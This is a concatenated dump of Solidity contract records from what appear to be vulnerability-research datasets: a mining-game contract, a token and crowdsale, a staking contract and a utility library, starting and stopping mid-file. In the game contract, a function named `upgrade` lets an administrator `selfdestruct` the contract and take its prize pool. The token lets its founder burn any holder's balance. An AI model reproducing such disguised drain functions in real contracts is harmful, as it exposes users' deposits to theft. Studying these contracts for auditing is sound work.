refundPrize = SafeMath.div(SafeMath.mul(getBoosterPrice(idx), 55), 100);
asyncSend(beneficiary, refundPrize);
boosterReward[beneficiary] = SafeMath.add(boosterReward[beneficiary], refundPrize);
}
prizePool = SafeMath.add(prizePool, SafeMath.sub(msg.value, SafeMath.add(devFeePrize, refundPrize)));
updateCrystal(msg.sender);
updateCrystal(beneficiary);
uint256 level = getCurrentLevel(b.startingLevel, b.startingTime, b.halfLife);
b.startingLevel = SafeMath.add(level, 1);
b.startingTime = now;
b.owner = msg.sender;
emit BuyBooster(msg.sender, roundNumber, idx, msg.value, beneficiary, refundPrize);
}
function getBoosterData(uint256 idx) public view returns (address owner,uint256 boostRate, uint256 startingLevel,
uint256 startingTime, uint256 currentPrice, uint256 halfLife)
{
require(idx < numberOfBoosts);
owner = boostData[idx].owner;
boostRate = boostData[idx].boostRate;
startingLevel = boostData[idx].startingLevel;
startingTime = boostData[idx].startingTime;
currentPrice = getBoosterPrice(idx);
halfLife = boostData[idx].halfLife;
}
function getBoosterPrice(uint256 index) public view returns (uint256)
{
BoostData storage booster = boostData[index];
return getCurrentPrice(getCurrentLevel(booster.startingLevel, booster.startingTime, booster.halfLife));
}
function hasBooster(address addr) public view returns (uint256 boostIdx)
{
boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
boostIdx = revert_i;
break;
}
}
}
function devFee(uint256 amount) public pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(amount, 5), 100);
}
function getBalance() public view returns(uint256)
{
return address(this).balance;
}
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
function updateHashrate(address addr, uint256 _hashrate) private
{
Player storage p = players[addr];
p.hashrate = SafeMath.add(p.hashrate, _hashrate);
if(p.hashrate > RANK_LIST_LIMIT) updateRankList(addr);
emit ChangeHasrate(addr, p.hashrate, roundNumber);
}
function updateCrystal(address _addr) private
{
require(now > players[_addr].lastUpdateTime);
Player storage p = players[_addr];
p.crystals = calCurrentCrystals(_addr);
p.lastUpdateTime = now;
}
function calCurrentCrystals(address _addr) public view returns(uint256 _currentCrystals)
{
Player memory p = players[_addr];
if(p.roundNumber != roundNumber) p = players[0x0];
uint256 hashratePerDay = getHashratePerDay(_addr);
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
if (hashratePerDay > 0) _currentCrystals = SafeMath.add(p.crystals, SafeMath.mul(hashratePerDay, secondsPassed));
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) private view returns(uint256)
{
uint256 timePassed=SafeMath.sub(now, startingTime);
uint256 levelsPassed=SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel, levelsPassed);
}
function getCurrentPrice(uint256 currentLevel) private view returns(uint256)
{
return SafeMath.mul(BASE_PRICE, 2**currentLevel);
}
function updateRankList(address addr) private returns(bool)
{
uint256 idx = 0;
Player storage insert = players[addr];
Player storage lastOne = players[rankList[19]];
if(insert.hashrate < lastOne.hashrate) {
return false;
}
address[21] memory tempList = rankList;
if(!inRankList(addr)){
tempList[20] = addr;
quickSort(tempList, 0, 20);
}else{
quickSort(tempList, 0, 19);
}
for(idx = 0;idx < 21; idx++){
if(tempList[idx] != rankList[idx]){
rankList[idx] = tempList[idx];
}
}
return true;
}
function inRankList(address addr) internal view returns(bool)
{
for(uint256 idx = 0;idx < 20; idx++){
if(addr == rankList[idx]){
return true;
}
}
return false;
}
function quickSort(address[21] list, int left, int right) internal
{
int i = left;
int j = right;
if(i == j) return;
address addr = list[uint(left + (right - left) / 2)];
Player storage p = players[addr];
while (i <= j) {
while (players[list[uint(i)]].hashrate > p.hashrate) i++;
while (p.hashrate > players[list[uint(j)]].hashrate) j--;
if (i <= j) {
(list[uint(i)], list[uint(j)]) = (list[uint(j)], list[uint(i)]);
i++;
j--;
}
}
if (left < j)
quickSort(list, left, j);
if (i < right)
quickSort(list, i, right);
}
}
| 164,432 | 12,250 |
d1efd1984b01fb94500a227dd48efae64ab49fd23e0c546f6b74909202ad304b
| 18,005 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xfbe878ced08132bd8396988671b450793c44bc12.sol
| 3,676 | 12,949 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint size) {
if (msg.data.length < size + 4) {
revert();
}
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
event Freeze ();
event LogFreeze();
bool public paused = false;
address public founder;
modifier whenNotPaused() {
require(!paused || msg.sender == founder);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused onlyPayloadSize(2 * 32) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused onlyPayloadSize(3 * 32) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
//The functions below surve no real purpose. Even if one were to approve another to spend
//tokens on their behalf, those tokens will still only be transferable when the token contract
//is not paused.
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is PausableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FoxTradingToken is MintableToken {
string public name;
string public symbol;
uint8 public decimals;
event TokensBurned(address initiatior, address indexed _partner, uint256 _tokens);
function FoxTradingToken() public {
name = "Fox Trading";
symbol = "FOXT";
decimals = 18;
totalSupply = 3000000e18;
founder = 0x698825d0CfeeD6F65E981FFB543ef5196A5C2A5A;
balances[founder] = totalSupply;
emit Transfer(0x0, founder, totalSupply);
pause();
}
modifier onlyFounder {
require(msg.sender == founder);
_;
}
event NewFounderAddress(address indexed from, address indexed to);
function changeFounderAddress(address _newFounder) public onlyFounder {
require(_newFounder != 0x0);
emit NewFounderAddress(founder, _newFounder);
founder = _newFounder;
}
function burnTokens(address _partner, uint256 _tokens) public onlyFounder {
require(balances[_partner] >= _tokens);
balances[_partner] = balances[_partner].sub(_tokens);
totalSupply = totalSupply.sub(_tokens);
emit TokensBurned(msg.sender, _partner, _tokens);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
FoxTradingToken public token;
uint256 public tokenCapForFirstMainStage;
uint256 public tokenCapForSecondMainStage;
uint256 public tokenCapForThirdMainStage;
uint256 public tokenCapForFourthMainStage;
uint256 public totalTokensForSale;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
bool public ICOpaused;
uint256[4] public ICObonusStages;
uint256 public tokensSold;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event ICOSaleExtended(uint256 newEndTime);
function Crowdsale() public {
token = new FoxTradingToken();
startTime = now;
rate = 1200;
wallet = 0x698825d0CfeeD6F65E981FFB543ef5196A5C2A5A;
totalTokensForSale = 6200000e18;
tokensSold = 0;
tokenCapForFirstMainStage = 1000000e18;
tokenCapForSecondMainStage = 2000000e18;
tokenCapForThirdMainStage = 3000000e18;
tokenCapForFourthMainStage = 6200000e18;
ICObonusStages[0] = now.add(7 days);
for (uint y = 1; y < ICObonusStages.length; y++) {
ICObonusStages[y] = ICObonusStages[y - 1].add(7 days);
}
endTime = ICObonusStages[3];
ICOpaused = false;
}
modifier whenNotPaused {
require(!ICOpaused);
_;
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address _addr) public payable whenNotPaused {
require(validPurchase() && tokensSold < totalTokensForSale);
require(_addr != 0x0 && msg.value >= 100 finney);
uint256 toMint;
toMint = msg.value.mul(getRateWithBonus());
tokensSold = tokensSold.add(toMint);
token.mint(_addr, toMint);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function processOfflinePurchase(address _to, uint256 _toMint) public onlyOwner {
require(tokensSold.add(_toMint) <= totalTokensForSale);
require(_toMint > 0 && _to != 0x0);
tokensSold = tokensSold.add(_toMint);
token.mint(_to, _toMint);
}
function airDrop(address[] _addrs, uint256[] _values) public onlyOwner {
//require(_addrs.length > 0);
for (uint i = 0; i < _addrs.length; i++) {
if (_addrs[i] != 0x0 && _values[i] > 0) {
token.mint(_addrs[i], _values[i]);
}
}
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function finishMinting() public onlyOwner {
token.finishMinting();
}
function getRateWithBonus() internal view returns (uint256 rateWithDiscount) {
if (tokensSold < totalTokensForSale) {
return rate.mul(getCurrentBonus()).div(100).add(rate);
return rateWithDiscount;
}
return rate;
}
function getCurrentBonus() internal view returns (uint256 discount) {
require(tokensSold < tokenCapForFourthMainStage);
uint256 timeStamp = now;
uint256 stage;
for (uint i = 0; i < ICObonusStages.length; i++) {
if (timeStamp <= ICObonusStages[i]) {
stage = i + 1;
break;
}
}
if(stage == 1 && tokensSold < tokenCapForFirstMainStage) { discount = 20; }
if(stage == 1 && tokensSold >= tokenCapForFirstMainStage) { discount = 15; }
if(stage == 1 && tokensSold >= tokenCapForSecondMainStage) { discount = 10; }
if(stage == 1 && tokensSold >= tokenCapForThirdMainStage) { discount = 0; }
if(stage == 2 && tokensSold < tokenCapForSecondMainStage) { discount = 15; }
if(stage == 2 && tokensSold >= tokenCapForSecondMainStage) { discount = 10; }
if(stage == 2 && tokensSold >= tokenCapForThirdMainStage) { discount = 0; }
if(stage == 3 && tokensSold < tokenCapForThirdMainStage) { discount = 10; }
if(stage == 3 && tokensSold >= tokenCapForThirdMainStage) { discount = 0; }
if(stage == 4) { discount = 0; }
return discount;
}
function extendDuration(uint256 _newEndTime) public onlyOwner {
require(endTime < _newEndTime);
endTime = _newEndTime;
emit ICOSaleExtended(_newEndTime);
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
function unpauseToken() public onlyOwner {
token.unpause();
}
function pauseUnpauseICO() public onlyOwner {
if (ICOpaused) {
ICOpaused = false;
} else {
ICOpaused = true;
}
}
}
| 219,636 | 12,251 |
e2ead8c679a3d1c81b9b6d7e7c6bff21b8be16c6bb37aa5265cd5395e57fdc0d
| 27,371 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/b4/b4b438c152548eeebffb03f5d75f4b0205f22593_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 126,623 | 12,252 |
779a364913f39eb1058294d24e14056e160eba41a4471f034a95570142052580
| 13,423 |
.sol
|
Solidity
| false |
235305260
|
Switcheo/carbon-polynetwork-evm
|
e374ad4010449d888bc38efaf7b899d547429861
|
contracts/libsv2/utils/Utils.sol
| 2,494 | 9,946 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Utils {
function bytesToBytes32(bytes memory _bs) internal pure returns (bytes32 value) {
require(_bs.length == 32, "bytes length is not 32.");
assembly {
value := mload(add(_bs, 0x20))
}
}
function bytesToUint256(bytes memory _bs) internal pure returns (uint256 value) {
require(_bs.length == 32, "bytes length is not 32.");
assembly {
// load 32 bytes from memory starting from position _bs + 32
value := mload(add(_bs, 0x20))
}
require(value <= 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, "Value exceeds the range");
}
function uint256ToBytes(uint256 _value) internal pure returns (bytes memory bs) {
require(_value <= 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, "Value exceeds the range");
assembly {
// Get a location of some free memory and store it in result as
// Solidity does for memory variables.
bs := mload(0x40)
// Put 0x20 at the first word, the length of bytes for uint256 value
mstore(bs, 0x20)
//In the next word, put value in bytes format to the next 32 bytes
mstore(add(bs, 0x20), _value)
// Update the free-memory pointer by padding our last write location to 32 bytes
mstore(0x40, add(bs, 0x40))
}
}
function bytesToAddress(bytes memory _bs) internal pure returns (address addr)
{
require(_bs.length == 20, "bytes length does not match address");
assembly {
// for _bs, first word store _bs.length, second word store _bs.value
addr := mload(add(_bs, 0x14))
}
}
function addressToBytes(address _addr) internal pure returns (bytes memory bs){
assembly {
// Get a location of some free memory and store it in result as
// Solidity does for memory variables.
bs := mload(0x40)
// Put 20 (address byte length) at the first word, the length of bytes for uint256 value
mstore(bs, 0x14)
// logical shift left _a by 12 bytes, change _a from right-aligned to left-aligned
mstore(add(bs, 0x20), shl(96, _addr))
// Update the free-memory pointer by padding our last write location to 32 bytes
mstore(0x40, add(bs, 0x40))
}
}
function hashLeaf(bytes memory _data) internal pure returns (bytes32 result) {
result = sha256(abi.encodePacked(bytes1(0x0), _data));
}
function hashChildren(bytes32 _l, bytes32 _r) internal pure returns (bytes32 result) {
result = sha256(abi.encodePacked(bytes1(0x01), _l, _r));
}
function equalStorage(bytes storage _preBytes, bytes memory _postBytes) internal view returns (bool) {
bool success = true;
assembly {
// we know _preBytes_offset is 0
let fslot := sload(_preBytes.slot)
// Arrays of 31 bytes or less have an even value in their slot,
// while longer arrays have an odd value. The actual length is
// the slot divided by two for odd values, and the lowest order
// byte divided by two for even values.
// If the slot is even, bitwise and the slot with 255 and divide by
// two to get the length. If the slot is odd, bitwise and the slot
// with -1 and divide by two.
let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
let mlength := mload(_postBytes)
// if lengths don't match the arrays are not equal
switch eq(slength, mlength)
case 1 {
// fslot can contain both the length and contents of the array
// if slength < 32 bytes so let's prepare for that
// slength != 0
if iszero(iszero(slength)) {
switch lt(slength, 32)
case 1 {
// blank the last byte which is the length
fslot := mul(div(fslot, 0x100), 0x100)
if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) {
// unsuccess:
success := 0
}
}
default {
// cb is a circuit breaker in the for loop since there's
// no said feature for inline assembly loops
// cb = 1 - don't breaker
// cb = 0 - break
let cb := 1
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes.slot)
let sc := keccak256(0x0, 0x20)
let mc := add(_postBytes, 0x20)
let end := add(mc, mlength)
// the next line is the loop condition:
// while(uint(mc < end) + cb == 2)
for {} eq(add(lt(mc, end), cb), 2) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
